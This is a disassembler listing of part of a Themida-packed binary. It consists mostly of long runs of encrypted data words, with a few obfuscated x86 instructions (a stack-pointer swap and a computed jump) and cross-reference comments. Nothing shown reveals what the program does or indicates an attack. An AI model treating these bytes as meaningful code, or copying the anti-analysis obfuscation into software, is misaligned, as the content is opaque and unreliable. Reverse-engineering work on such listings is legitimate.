dd 0E9FF076Ah, 0F5391341h, 2C0F59A2h, 23FA51E9h, 6E5DA1AEh
dd 23FA4B3Ah, 75B99BBDh, 377BD382h, 0DDAAA51Ah, 5D0946D9h
dd 5A5E230Dh, 612Ah, 12472E00h, 7CAD0044h, 0C8C0E6FDh
dd 90BE977Eh, 302E55Fh, 0C523F998h, 976A9A7Dh, 626F23F9h
dd 0BDC29A31h, 32079399h, 0B3C50F58h, 4C3D4B57h, 68DC0D46h
dd 292B2D14h, 654892E5h, 23FA7035h, 0E7FC2D3Ah, 23FA6FB3h
dd 0EE322236h, 0B1F55BFBh, 0BCC9862Dh, 3E2A25B8h, 5A5E426Eh
dd 0BF0Dh, 7CD90C00h, 0E72B2332h, 14074B94h, 0D4C70B3Fh
dd 9689CD81h, 0E65C8FBFh, 7EED88D4h, 0DE0FADCEh, 1628E8C9h
dd 59FDE41Ch, 2F60B3F7h, 0C50F3F16h, 286A9A7Dh, 626F1C16h
dd 0A0C6CE31h, 2894C4A7h, 8C991C16h, 579BB1A3h, 2971BB04h
dd 16291646h, 0F206131Ch, 227E0808h, 0C84273F3h, 0FD4E0EE5h
dd 0A546123h, 0E71A3023h, 0D7C981D2h, 0BAC24416h, 0A601FE22h
dd 3D00000Bh, 0F3083B1Dh, 0A8BDF066h, 586DA0ACh, 0C215400h
dd 9CD00347h, 25252E3Fh, 0D87ADDF2h, 8AC690A5h, 3B134257h
dd 5639A308h, 23FF6F26h, 0D96E6F23h, 889DD07Ah, 6D9D80CDh
dd 8F1C158Eh, 158E7CACh, 0D74811Ch, 984B700h, 8ED27CD9h
dd 6194BA9Bh, 42C42h, 0A7424700h, 0CA141C32h, 0FF61F9E7h
dd 0F3697623h, 9535F71h, 0E362F326h, 0EACD152Bh, 1C2360BAh
dd 0EA81B2BFh, 76AA99DDh, 0DE1C2360h, 3E86044Bh, 23612B5Bh
dd 0F223301Ch, 0B74D025Ah, 3A2295Dh, 1B2D0000h, 20C0884Ah
dd 41C0F19Ch, 158EA9DDh, 8F0B301Ch, 798F1C15h, 65442771h
dd 4A23F998h, 5397B99Dh, 1EC5B700h, 26BAC47Ah, 0ADF0502h
dd 56040000h, 9FBACF02h, 0E56F84B7h, 391F3467h, 80D3E81Bh
dd 786397CAh, 0B9EC5EF5h, 6C9FB3A4h, 1E51FF57h, 0CF024C09h
dd 0ED1D006Ah, 0F223FF6Fh, 7CD93D3Eh, 2E4088D2h, 1FE9CDE3h
dd 0ABDBC04Eh, 2E1C1673h, 0B5C22929h, 42A1084h, 19271841h
dd 7ACD113Bh, 4CD38B66h, 175BF163h, 4E317BC4h, 24005A63h
dd 0AA91DBE8h, 0FD4D06AEh, 0D91D66B9h, 7CF25586h, 0F8DE126Ah
dd 0E0C3AD93h, 23FF12B0h, 0D57A0ADh, 0FF12FA2Ah, 0C1F2FF23h
dd 4D9793B5h, 0E8E6836Ah, 0FADD252Bh, 1C15E5CAh, 0B7575122h
dd 6ED56F04h, 8C993061h, 56FC5B42h, 8265AD23h, 1C165352h
dd 4194A57h, 1C1653F8h, 0E6191538h, 88CC86D1h, 4A8EC095h
dd 0FC464264h, 53A1D1B4h, 919E1C16h, 4803E660h, 5B23FA72h
dd 0A71D5C4Eh, 6387BAC3h, 9F866h, 0E96FEB00h, 9EB8A1B6h
dd 4EFE566Bh, 252061Bh, 0B199BACFh, 0DC614A7Eh, 8BA0D377h
dd 3E5386CCh, 0F0053818h, 51B6E965h, 70D404E7h, 25D923FFh
dd 0FDC0E624h, 4049ABC3h, 7EC8113Fh, 0FFF1B49Bh, 60AAB723h
dd 4174DE79h, 0E3272B2Ch, 0A1ADA88Fh, 66EE6A5Dh, 5586CF22h
dd 0E12B2749h, 0E8A513FEh, 478B982Bh, 5F424F61h, 1C161F2Fh
dd 8CD61F2Ch, 0FA372EA9h, 2F40123h, 0BAC3FA8Dh, 76B6B3D7h
dd 6D000009h, 23386BEDh, 0D8ED2036h, 889DD07Ch, 3C5184D0h
dd 0CC003317h, 55F55EEFh, 84A0D22h, 0BA96C0D5h, 6BE37287h
dd 8669D338h, 23FF7156h, 0D99E9F53h, 9B8ED27Ch, 1B5094BAh
dd 240B79D6h, 640D2135h, 0A051EABEh, 9DB8D102h, 45A34FE6h
dd 0BF085F57h, 0E9A0F88Ch, 0ADC75DBAh, 0C6000001h, 7EC8C0E6h
dd 0F990C89Bh, 5801E823h, 3667BAFEh, 5F4E929Fh, 23F9912Bh
dd 0C5A8A9AEh, 23F99095h, 448D9Ah, 0EE6A4C0Dh, 86CF2266h
dd 9FB02542h, 44BDEE2h, 5E9D3068h, 16E375Ah, 0D9360000h
dd 9B8ED27Ch, 634A94BAh, 0C4175BF1h, 0A8BA3093h, 4A7D0017h
dd 0A3778B30h, 0E11429E7h, 0E6081445h, 9AB9A0EAh, 0E8196CB0h
dd 0FBDE266Eh, 1C15D9CBh, 7D92C3D0h, 23F9EE3Ah, 0ABA7B05Dh
dd 0EDD01862h, 23F9E6BDh, 0E66A6015h, 0D9405D9Fh, 38279BCCh
dd 23FA8304h, 0EA76D96Ch, 5A5E6BB2h, 3EB9h, 9178B800h
dd 4D598AC4h, 2E52F3Bh, 23F99803h, 0CE09B3C5h, 0A5CE74FFh
dd 5A05DD74h, 59F6B015h, 2B1A5EA7h, 23FA00F7h, 0AA798B5Fh
dd 204B2099h, 2D225B8Ch, 5E246941h, 0B60E5Ah, 0D90D0000h
dd 9B8ED27Ch, 364892B8h, 7630A55Ah, 1343264Ch, 181C15F4h
dd 1D91C20Bh, 0DF232B2Ah, 1E469ECh, 1C15F3D1h, 81D8C1CEh
dd 0F53E91D5h, 508063ABh, 6A1C15F4h, 15F45787h, 0E047541Ch
dd 2E3FA2D3h, 1C161035h, 2771DD78h, 8391540h, 7F8B9DA5h
dd 4D06ED35h, 1C66B9FDh, 16080939h, 0C8F9061Ch, 0FCEEDCB3h
dd 78C2CF23h, 5588C291h, 45371340h, 0BAC1E440h, 0BE1B183Ch
dd 25000007h, 0DBF02335h, 90A5D87Eh, 405588C4h, 0F4093C18h
dd 84B8EB5Fh, 0D3D1627h, 0C092C5DAh, 72DE788Dh, 232B2A3Fh
dd 3E218BF0h, 23FF730Eh, 0D956570Bh, 889DD07Ah, 0D34E81CDh
dd 8ED27CD9h, 6194BA9Bh, 5442h, 21044C00h, 1C158EF1h, 31B0E1EEh
dd 9ADC6678h, 5E17BDB2h, 9E8F7D2Dh, 4F368088h, 0A4B0A806h
dd 80C40D60h, 9F82FC2Dh, 240019B2h, 42AA0ADh, 787096C7h
dd 0CD5F4B2Eh, 0D7E42BE8h, 69C861h, 8AD20000h, 164677A7h
dd 8366741Ch, 1C164753h, 0D1024B58h, 0C7C0E652h, 158EB4E4h
dd 0C3ACB91Ch, 287BBF95h, 67B295DFh, 3923F9A2h, 4A0252h
dd 0F9A1ED1Dh, 0B4E5F223h, 78CC101Dh, 367A1E30h, 0C844BD0h
dd 0F9BCF727h, 0B6E7F423h, 0F9AC6CA1h, 2D229723h
dd 65AFBBCDh, 15643782h, 2C5F6C1Ch, 0C785CFB6h, 0B57396h
dd 0E6780000h, 977EC8C0h, 0FD5094C2h, 0DB0C4014h, 628F7E61h
dd 0FF0C23FFh, 11C704E8h, 9CCCAFF7h, 0A123FF61h, 252A6394h
dd 53701149h, 6D165Ah, 78150000h, 5A8BC591h, 0E630384Eh
dd 0FF621503h, 768D9A23h, 0C69F5592h, 708DDD89h, 4CAA5A53h
dd 0A9000000h, 8CC69178h, 0B8C4F548h, 86B69996h, 831C158Eh
dd 0E32D76h, 23FF6213h, 0C0977E8Ch, 16FB4E92h, 23FF61E6h
dd 768DD6E3h, 0C69F5592h, 4C8DDD89h, 2CAA5A53h, 0AE000000h
dd 312391C7h, 3B84D71Bh, 0CD90A4F7h, 0FDEB43ADh, 78FC7BACh
dd 42783166h, 95273B13h, 8095C691h, 1C166321h, 0FEF7A99Ch
dd 0E6AEFFFFh, 9B7EC8C0h, 23FF6180h, 250C5663h, 85D81C2Eh
dd 6899BD9Ch, 0F0F80EF4h, 34D7C3A6h, 0BFCC2BE9h, 7773957Bh
dd 0BA9DE52Dh, 1C158E8Ah, 3C51828Fh, 23FF6225h, 0F9CDDF27h
dd 5472CFDEh, 8D0E3E23h, 0FE0B23FFh, 0DF2936CDh, 0ABF561F8h
dd 8D508063h, 404D23FFh, 82A4AC0Fh, 11F43C86h, 23FF8CE1h
dd 0BDEDD0DEh, 0C223FF8Ch, 0C13B6CB5h, 0E6C6779h, 0F95B5862h
dd 0D3CCB3C8h, 0B2BF2BE8h, 0F5D82068h, 1C162FC5h, 0D83F0B48h
dd 0D5819ACBh, 3837487Bh, 71B43CDBh, 0C1376AE4h, 8CC49279h
dd 3B9877A7h, 366774B4h, 3215381Dh, 0B43B9902h, 6DB1FA07h
dd 1F696187h, 5A17D90Dh, 0BF1256FEh, 81E251ABh, 3C596E9Eh
dd 155E6BB4h, 3B226AE4h, 9CEF3319h, 7C37566Bh, 2734BC20h
dd 113ED9E3h, 83CD81D4h, 7828583Bh, 1825BBD8h, 0E76F84E7h
dd 1322BD9Eh, 4F98A047h, 3EA5B70Bh, 29589461h, 134842AEh
dd 723621FFh, 25312841h, 54AC9E1h, 98E26EE8h, 68ACA6B1h
dd 6C81E415h, 0BD8DC6EAh, 99DD2679h, 0E576D40Fh, 0F1D41C6Ah
dd 0BBD7AAC1h, 6780B1BEh, 0B32E61EFh, 85C9C1E6h, 478BC392h
dd 55331CC3h, 3667E76Eh, 0E86D052Ah, 86CF2266h, 6C173E53h
dd 8042A5CCh, 0F10851CEh, 3029CF0Dh, 0BB93C21Fh, 0E435545h
dd 0D8280421h, 3A1F3869h, 9D84D81Ch, 3569ABCh, 808DBDD2h
dd 5EF91C16h, 0F165F4F1h, 0BA96C0A7h, 0C9B02689h, 7B94C58Fh
dd 423175DBh, 1C16810Fh, 977D883h, 0D67D3522h, 94DD3074h
dd 3F14FD50h, 4374C70Bh, 0D0842C2Ah, 0EF00337Ch, 1C16A104h
dd 6091C1A4h, 818E1C16h, 4D99D038h, 6DA05DBAh, 0A4FFFFFFh
dd 74B89ABDh, 7871F021h, 0D0D8FA66h, 0F4256B74h, 0A1D47ADBh
dd 6E85C98Ch, 31A3421h, 8E56A39h, 0A5B7014Dh, 0AD2933A3h
dd 17BDEEA9h, 0BAA35109h, 44D65Dh, 0E6D50000h, 367EC8C0h
dd 0CD342C24h, 0D7B3C789h, 0DA84BDE3h, 0C553948Ah, 4A364B7Ch
dd 3F24005Bh, 0B91E4E31h, 0E1B23FEh, 8CCAAEC5h, 0AD4D02D1h
dd 0FD458F9Bh, 0DE0F3F16h, 0E88BDDC9h, 4FC5D22Bh, 5AB6h
dd 0C0E6BB00h, 0F9562D28h, 71EDCF63h, 0CE2165AEh, 6C583B85h
dd 0E124003Ah, 6AD9BDD4h, 195DF960h, 4DFEC7FBh, 6F58D287h
dd 0C690C9E7h, 0A2E62F82h, 47440B8Ah, 34C48B68h, 2321512h
dd 723FF04h, 8467B1FAh, 2BE8D798h, 57F3600Dh, 0C1A8980Eh
dd 7AA4F398h, 4F460E2Ah, 7856D506h, 8F1D4D30h, 15221C15h
dd 0C48ACBE4h, 1E42C80h, 1C158ED1h, 0FE228821h, 4FB60465h
dd 0EC716677h, 29729621h, 0D876DFF8h, 0B482FA5h, 0CBDDFB3Fh
dd 13A9C143h, 0E4F0216Ah, 997CC6C2h, 23F9E656h, 54226476h
dd 0BC9CA28h, 0F23643DAh, 0F9EECF03h, 0ABA43723h, 5EFFEFBFh
dd 608C5Ah, 0E68B0000h, 9B7EC8C0h, 23F9979Ch, 25518A9Ch
dd 8C4A86B7h, 4EE2FE6Ch, 95C60FD0h, 0C0A7F1FEh, 2546EC93h
dd 0A55FCCh, 0D38073B7h, 97E03377h, 0CF03F266h, 5223F991h
dd 0A4A8AC04h, 80C40D60h, 4084C68Dh, 0AD3A15BCh, 1265A9ABh
dd 1D32C5C9h, 85D1886Fh, 25BDEE41h, 5A5EA075h, 0FEF2h
dd 7CD9F100h, 0B89B8ED2h, 0A2EB63F2h, 0DFC20A5Eh, 1C158EAFh
dd 556E9FACh, 170A4E00h, 0CCDD103Eh, 1C159363h, 1F90F362h
dd 9CB8A024h, 110CC088h, 0D58095C8h, 0CFE13579h, 9981828Bh
dd 7D89BA43h, 32155F6Bh, 23FA0AEBh, 374993A0h, 1BBFF5C9h
dd 288BBCFCh, 0EAF8A0B2h, 4399924Eh, 0E8E00612h, 28DEBB9Eh
dd 0B4C12BE1h, 0F2CC586Ah, 33635DC2h, 0B0D870F2h, 0E7186163h
dd 7CCD866Dh, 18566999h, 7059661Ch, 0F1246DE9h, 0E1D377DCh
dd 0C2A5BABAh, 2AA9A6CAh, 0B9000002h, 6F84B7A1h, 24396CEAh
dd 0D4E91C30h, 889DD084h, 184C7FCBh, 0A1A9AAB3h, 54FE596Eh
dd 64A0C21h, 0B797BED3h, 0D2B51F84h, 23FF77A2h, 78F2F3A7h
dd 478BC591h, 32B1E0F4h, 0C4AF9397h, 71D97A93h, 9D194027h
dd 0FD5094B6h, 0AA2083B4h, 0C6FB5062h, 65355D1h, 168BF121h
dd 0B0E1EE1Ch, 69F0BE97h, 14A0C4Dh, 780A85B8h, 4589C391h
dd 93B5C1F2h, 6B6A4D97h, 4D23F998h, 2E5FEF66h, 57468A97h
dd 23F99823h, 5B9FAFA6h, 7E61EE68h, 23F9984Eh, 0B1F53E4Bh
dd 58351A99h, 51388054h, 0B1044802h, 0F9979CCCh, 6394A123h
dd 1149252Ah, 165A5EAAh, 0EAh, 0D27CD915h, 5B107688h, 21DBF076h
dd 311D38h, 0DF0388Ch, 1C15FADDh, 8BA4D5E2h, 4F3E82C8h
dd 1C15FFE6h, 0ADE06EE7h, 4D91BD98h, 0FF494167h, 0FA05D51Ch
dd 83CDDA23h, 4F93B79Ch, 0F268CBFCh, 28C122E0h, 0C4F561A4h
dd 7ACF96B8h, 0CCF95033h, 2007519Ah, 86D91D39h, 0BCF8DB55h
dd 0F12BE15Bh, 0A5B39AE4h, 0DB786BAFh, 8FD82B6Fh, 8F326245h
dd 2A371C17h, 0BB987FF9h, 0C475C8Fh, 5397B79Eh, 1059F560h
dd 82BCD5C7h, 0C4E8C2A6h, 0E4C7h, 0FD5BFF00h, 0B2A4B5CAh
dd 62EA6A7Fh, 163E1A2Fh, 0C585CEE3h, 0F07D5E92h, 9FB4E763h
dd 52679AB8h, 4194C04h, 65CAFD51h, 79E818FBh, 31E523FFh
dd 0D07AD930h, 0D2ED7486h, 0A0FDFF63h, 7FB09EB7h, 7B5EA61Ch
dd 1C15EA4Bh, 0F9124350h, 60A8F25Ch, 15EA4D7Dh, 1445521Ch
dd 917836B1h, 77A78AC5h, 741C158Eh, 0D4ED1E67h, 9689CD81h
dd 0FD458FBFh, 8EA2D2B5h, 9AA71C15h, 158E85B5h, 4C7D8A1Ch
dd 0CD81D4E9h, 28583B83h, 251C158Fh, 6F84E718h, 0D61E68E6h
dd 158EC3F3h, 0D202E51Ch, 0D71C158Eh, 255663CAh, 3C95C2B1h
dd 3C186D12h, 7CD9CC10h, 0E9848ED2h, 0F89F1966h, 83CB8A57h
dd 341A3B50h, 0F95BFDF0h, 3F10ABB5h, 519BB3A2h, 1B332209h
dd 123D0636h, 0C5F6036Dh, 46084D62h, 30502h, 690A0000h
dd 0D781D93Ah, 99B5A093h, 5CF46255h, 20322518h, 0E06AE9DCh
dd 0A0AAA99Ch, 65EF695Ch, 26262E21h, 0EC6AEFE2h, 66686AA8h
dd 54000044h, 8124048Fh, 42404h, 89560000h, 4C681E6h, 83000000h
dd 348704EEh, 4895C24h, 3B4C6824h, 34890000h, 0BE565524h
dd 567205A7h, 8102E6C1h, 21BE88C6h, 5EF589AEh, 545DE889h
dd 8324348Bh, 0EC8304C4h, 24048904h, 8B08468Fh
; ---------------------------------------------------------------------------
xor al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_598345
; ---------------------------------------------------------------------------
db 19h, 82h, 0Fh
dd 125F741Eh, 8032E3F0h
; ---------------------------------------------------------------------------
xchg eax, edi
loc_5E1139: ; CODE XREF: Themida_:005DF914j
mov eax, 7E9EC2Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 26A2h
dd 7CA36220h, 0D4F4180h, 67A143BCh, 512D57E1h, 4AEA3144h
dd 74C313F5h, 0C1634FABh, 23A15EB3h, 5791A02h, 0BE82535h
dd 0CF000000h, 0E68ABBF8h, 0DAB4037Bh, 0DC80AE3Ah, 810F5FB5h
dd 0
dd 66F0C781h, 0D0810000h, 3B40CEC5h, 68h, 0C7CC8000h, 5E85Bh
dd 8E210000h, 0E93F99E2h, 0Fh, 0E913FCA6h, 0F03C6F4Dh
dd 0D425C6Dh, 5AEB2641h, 0F1F0C8Bh, 587h, 0CFCEBE00h, 0F181263Eh
dd 2327ADF3h, 8186BEBAh, 4DC18158h, 666C4A7Fh, 81706DB8h
dd 26E1E1F1h, 5FE88116h, 512158B6h, 7334CE81h, 48F2891h
dd 58A0F1Fh, 0BE000000h, 588FC29Fh, 0EB8377B4h, 81C38B04h
dd 0FF99B4FBh, 0A9850FFFh, 0FFFFFFFh, 28Bh, 0E9D78B00h
dd 12h, 550A24F7h, 7C809E01h, 2 dup(0)
dd 0C9E90000h, 6800000Dh, 7E9EF2Dh, 0FA904AE9h, 0F07668FFh
dd 40E907E9h, 68FFFA90h, 7E9F1F3h, 0FA9036E9h, 0F30268FFh
dd 2CE907E9h, 68FFFA90h, 7E9F497h, 0FA9022E9h, 0F6D168FFh
dd 18E907E9h, 68FFFA90h, 7E9F8C3h, 0FA900EE9h, 0F9C168FFh
dd 4E907E9h, 4EFFFA90h, 0AAC05476h, 71DB1D1h, 677D112Bh
dd 0CAE07488h, 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah
dd 0F109E6FCh, 7DFAAA5Dh, 13AB4D86h, 56800F54h, 5B296179h
dd 0B3D2667Eh, 582D2DCh, 13A6B38Bh, 7B2860C9h, 13A6B480h
dd 4B0E3647h, 0B4976CE9h, 0DA4313A6h, 4759714Eh, 7809936Ch
dd 8D6705D8h, 109C376Fh, 48E31B33h, 569736h, 92C00000h
dd 0A0CCB330h, 218A1442h, 4A3EC0Fh, 42A7829h, 0AFFF58C0h
dd 0B5D0AF4Dh, 7F5EACFBh, 0AAE23B62h, 4E04FD0Fh, 0C13A60Ch
dd 3DBE6BA3h, 8A13A60Eh, 6E91CD79h, 28D87763h, 2B249C6h
dd 0C02013A6h, 0A602BC43h, 58B11A13h, 0A1D9EDCCh, 0B655F406h
dd 7E000000h, 29617956h, 2C64805Bh, 1072815Eh, 42A0EC93h
dd 96016A14h, 1442A0E1h, 0A363FD6Dh, 2C9D8056h, 74427AD3h
dd 0F6EB7F97h, 1442F6D4h, 0D66A825Fh, 93CBE3C0h, 8BDBD3BCh
dd 0A6E3140Eh, 5DF15A13h, 0D5D513Eh, 40221F90h, 0DCB75314h
dd 8BC620B9h, 4099B983h, 0C4146D08h, 0CFE7C462h, 0ACC8A3BDh
dd 0B270218h, 352519B7h, 3AC00062h, 0B8Bh, 0F589AB83h
dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh
dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0AB4FCDB2h
dd 0B5448913h, 0F5F7B56h, 67799771h, 3A522F45h, 56704CEAh
dd 4F71831Eh, 0E720927Eh, 42C1202Dh, 0C3CCEF01h, 0AD8077F4h
dd 0E54E1442h, 0FB0AF885h, 0F952765Ch, 68E547A9h, 14429093h
dd 0AF76D63Fh, 0C8FE9423h, 551B1426h, 2313A6EBh, 5A92AA87h
dd 812E66BFh, 13A6EBFEh, 0EB233D19h, 0F22A3E1Dh, 1D55118Eh
dd 0C9F0B4C5h, 0EB15EA67h, 58C113A6h, 0C6946B46h, 0A002D877h
dd 0A6E75C23h, 7F91FA13h, 0E3E0h, 79560900h, 25972961h
dd 0DF5CFD09h, 1442D718h, 49ED4DB6h, 0FB13F0BEh, 0BDCF28C3h
dd 74ACC8A3h, 4282E5C7h, 3B533014h, 0EE6BCDA7h, 14428A09h
dd 304A5CC5h, 2C033B53h, 99FB4B63h, 0CE061EFBh, 8A33C833h
dd 369F1442h, 4FC94624h, 1513A69Eh, 0E553CEA5h, 1DB8F008h
dd 1C5C99BDh, 0A6CED89Fh, 0B40D7613h, 0E7A8C75Bh, 0DEFA77C7h
dd 0AC144028h, 7855F343h, 0F517EC69h, 5AC31B89h, 58B6A101h
dd 9FD7BDF1h, 3611AF8Dh, 9570861Ah, 0E4B52579h, 38786234h
dd 0A42B2h, 0D2F4CC00h, 2F4F283Eh, 8FA9859Bh, 0F206E5FBh
dd 516D485Eh, 451EE4BDh, 0A4BA4E6Ah, 218ACCAh, 647A0E24h
dd 28DB6F87h, 5004FB78h, 8DD213ABh, 687B56FEh, 42A014EBh
dd 0E68DB314h, 8C45B4ECh, 6A46D23Bh, 4D63F750h, 0F3C45870h
dd 11617956h, 437B9973h, 2D096A8h, 5A790D25h, 0FAD27235h
dd 538BA983h, 232C58B8h, 953383DCh, 0AC8A9CBCh, 0A60A592Fh
dd 76AE1713h, 0A60A37C9h, 0C1859613h, 7773629Dh, 65C73D8h
dd 4D9C0000h, 9F1C6C42h, 13A68B21h, 21CE066Fh, 13A68C5Eh
dd 0F4A8DCEDh, 0D877F10Bh, 0FC10EF8Dh, 437B9370h, 33F796A8h
dd 20000006h, 0CCB33092h, 4F1442A0h, 88235B71h, 99BCCE37h
dd 0BF44C1F6h, 1B1442A0h, 8C0959B2h, 13A6A6D6h, 36E31B84h
dd 13A6A645h, 0CEA7F0CEh, 82DB76AEh, 83A37C4Ah, 0E2B1A94Bh
dd 7C1C84FCh, 0C48CB87Fh, 732B5B6Ch, 0D877B38Ch, 5E549h
dd 0C7457200h, 50A00E81h, 0A68C05D3h, 0F673D313h, 13A68C01h
dd 20B64CDh, 0B3A5EDF7h, 8E206F9Fh, 0B76ADC3Eh, 617D5845h
dd 0EB2E8E29h, 0DFBB47EAh, 5CBAB3C5h, 2B805F9Eh, 8597B18Dh
dd 0E42B0AA6h, 3992EB0Bh, 54704BE9h, 0A96F811Ch, 0A1F1BDD2h
dd 7BDA8724h, 1A6AD388h, 7183A37Ch, 18F593h, 1C3612B0h
dd 654D42E4h, 1D9689CAh, 7A90B2C4h, 0B331859Dh, 8ECE3E6Ch
dd 8C5C84Eh, 71490000h, 0CCA5BB4Fh, 260218ACh, 8362780Ch
dd 0EAC5DB6Fh, 9B613ACEh, 37CBE7C2h, 95294721h, 0F78BA17Fh
dd 58EC04E1h, 8378F5A5h, 4F13AB51h, 30927B0Ah, 42A0CCB3h
dd 0F218A14h, 8C0918F5h, 1442A0F7h
dword_5E16C0 dd 906EFA63h, 4EA7427Ah, 5E503F16h, 4D7B910Eh, 90F913ABh
; DATA XREF: Themida_:00583974o
dd 4E4407FCh, 0AB0213ABh, 92263E1Bh, 0E6F846B8h, 5E01647Dh
dd 4668294Ch, 568A79F6h, 0EF5813ABh, 0F40CE9B7h, 56806B60h
dd 351313ABh, 98758B1Fh, 56770C89h, 7AE313ABh, 433CE921h
dd 0C1EC54A6h, 3A17063Eh, 9B788E22h, 0DD9E4B83h, 4D13AB56h
dd 198BCE76h, 0BFCED0A3h, 2F495B0Ah, 0CCA63A52h, 5416ED6Ah
dd 5BC413ABh, 13C7749h, 56060000h, 38522E79h, 0FBD9A7DFh
dd 623AADDEh, 0FCD7BE46h, 0DE2E87E0h, 178FF7Ch, 6DD61442h
dd 13E8955Bh, 84144201h, 80578FA7h, 542BA80Fh, 2144201h
dd 17708A66h, 9BF16EBEh, 5913ABECh, 0A4529CF0h, 0C3036A15h
dd 7B63Dh, 5E805800h, 0BBDBB4CAh, 1B351127h, 7E927187h
dd 0DDF9D4EAh, 0D18A7049h, 3046DAF6h, 8EA43856h, 0F0069AB0h
dd 0B467FB13h, 53F08704h, 195E13ABh, 2E79568Ah, 0A6DE3753h
dd 4E35B214h, 0C1442A0h, 9C7791A3h, 0B012EC80h, 42A04C33h
dd 0DAF2CF14h, 4DB607A2h, 2D43213Bh, 8EA68399h, 0ADC1A03Eh
dd 8863799Bh, 310D6039h, 0EB44DF17h, 0A19D11B3h, 42E7D2B8h
dd 8A5890E9h, 1D5B93AFh, 522D1054h, 34CBA236h, 62E05B76h
dd 94CCEAC4h, 1348E7F9h, 68000000h, 9DD5EDCAh, 9E1BF002h
dd 82h, 92A88624h, 0F492AB80h, 2BC6FE18h, 0A22FF19h, 0B05A25D2h
dd 0E4BD1442h, 0E5BE8CC4h, 864F8DC5h, 461D92DEh, 2A421F1Eh
dd 8CA28096h, 5549CA3Ch, 0F8F44CD6h, 2C8E20E6h, 42F0C8AFh
dd 911D8614h, 0C66199B7h, 0F0C1BBB4h, 3FC01442h, 243A1807h
dd 7856BF90h, 7E5C2A62h, 39B61868h, 1442A042h, 0CF95A710h
dd 0A19CC891h, 2419ADC3h, 1442A8C6h, 14BF3F8Ch, 9C18E05Ch
dd 41FFFFFEh, 3399Eh, 20922D00h, 0A27E5C71h, 55B55088h
dd 3244149Ah, 0EB233B18h, 429DAD3Eh, 0F6AE7514h, 2C4C25C3h
dd 2D4759F4h, 4AE83850h, 8C1E566Ch, 429D680Fh, 247DE614h
dd 8FA1BD98h, 627A576Dh, 9D927D2Ah, 48251442h, 6E21F830h
dd 2C8EF040h, 429DC8AFh, 0B1D8614h, 0AB70FC12h, 9D1A7A13h
dd 13A88AE6h, 973DD465h, 87D86DAAh, 8771C51Eh, 0E26A162Fh
dd 6211CA2h, 15ED0000h, 70495FF3h, 0CAA6BC50h, 27061CB0h
dd 8E697F13h, 0FF05DE72h, 0DB6F8B66h, 39CDEBC5h, 9B2F4523h
dd 0FC90A885h, 671C9949h, 0F313AB54h, 79561FAEh, 805B2961h
dd 0DDBAD064h, 401B31C5h, 431EEC24h, 0E8B1EF27h, 0CAE6C1BCh
dd 1DA05F36h, 6F35E05Ch, 5E000002h, 326A444Dh, 0AC5E1485h
dd 762E3FEAh, 38D0D143h, 0F86D226Bh, 0D1F40BE6h, 4FE1E16Dh
dd 1000002h, 76B05F8Fh, 1628513Ch, 6A444D41h, 0A0E69D1Ah
dd 0B741442h, 5EBB26D3h, 0CFE0EAACh, 1E18E797h, 27BDE16Dh
dd 0E6000002h, 1A6A444Dh, 42A0EA9Dh, 0BF0F7814h, 0A01BE05Dh
dd 4EB71442h, 82E4763Ch, 42A07E05h, 6173DC14h, 0AC5E7968h
dd 551122EAh, 6D1ED629h, 1F4FFE1h, 4D280000h, 9D1A6A44h
dd 1442A0EEh, 2EDB137Ch, 0EAAC5EA3h, 1BF896E8h, 1E30CB03h
dd 6699C581h, 6FE16D1Eh, 1CEh, 61795698h, 337E5B29h, 3A084054h
dd 720D455Dh, 0D2CC019h, 0BB973582h, 0A04136A1h, 0A40D1442h
dd 2799FB4Bh, 44200ED9h, 19F88437h, 0F0FAF305h, 0BE13A670h
dd 8F701D55h, 3C13A677h, 0A2407B2Bh, 0D974ACC6h, 4613ECC7h
dd 2385D877h, 0A67FD1A6h, 2147D13h, 7E63h, 424D8C00h, 51DD8E65h
dd 67C0F21Eh, 0B4D49A17h, 42A213A6h, 0A6873EC5h, 0E3339C13h
dd 0A6879166h, 7BD43D13h, 0A1B08D2Bh, 0A6875F24h, 3992FB13h
dd 8E546601h, 0A6871EE1h, 839D7913h, 86A27D4Bh, 0BAEA6D4Eh
dd 0AE4C9EF6h, 0B381B9D1h, 0EA85BDD7h, 0A2E27F91h, 0F22395F7h
dd 0C8DD3144h, 0FD2FD43Fh, 42AB13A6h, 8AC2D8B6h, 0FD02DDEFh
dd 0DAD877B4h, 0C2h, 63835CFAh, 68805D2Bh, 5628FD0Fh, 5B296179h
dd 5E2C6480h, 63316981h, 0DA6E86h, 0C41B9F8Eh, 4237B047h
dd 55B51E14h, 7AF76344h, 1442AC85h, 7D8FE851h, 42A82A84h
dd 110ED14h, 42B1FF84h, 99F25B14h, 5A9E605h, 233917B5h
dd 98B63311h, 0E613A456h, 2DCB2D7Dh, 64712D54h, 0C7503FC4h
dd 67425C6Eh, 0CB243A18h, 2A462137h, 19C42CD6h, 8B11516Ah
dd 3E7h, 992D4F27h, 0F68AAA83h, 56EA04E0h, 0B94D6140h
dd 18ACC8A3h, 0C5A0B93Fh, 25FF15A9h, 7F5D7307h, 0E2BFD569h
dd 0D38336CAh, 0AB56A156h, 59E82D13h, 0F5F7B56h, 0A04B30ADh
dd 9E071442h, 13CA9E3Eh, 57699643h, 2A421F35h, 3092C596h
dd 42A0CCB3h, 0D747B14h, 6FD6A963h, 89A3B51Eh, 8E5C94ACh
dd 100599B1h, 1442C16Eh, 2AC8EFA0h, 33C8334Fh, 9F1442C1h
dd 0B3CFAA36h, 3787E07Bh, 91A3BD99h, 0D98836B3h, 6DD613A6h
dd 795608D9h, 7E5B2961h, 53D5733h, 0EB445837h, 57D04292h
dd 160AF0C1h, 0DCB6D8EAh, 0AA06FD7Ah, 0BE991442h, 0D6E851A2h
dd 82D2DCB3h, 0A893BB10h, 0DD78B0CEh, 0D0E4D67Dh, 6963E0BEh
dd 2713A617h, 3F98AC8Bh, 18A15A07h, 17F213A6h, 19F5C3FBh
dd 0D1324F8h, 0CB24E40Ah, 772FB293h, 92D2E33Bh, 0D88D75E7h
dd 27434770h, 59C53A15h, 4E12D877h, 32000000h, 0BFB846C0h
dd 8B9D3E1Fh, 75424DB6h, 42A003F8h, 0D66CF14h, 0A98A40BDh
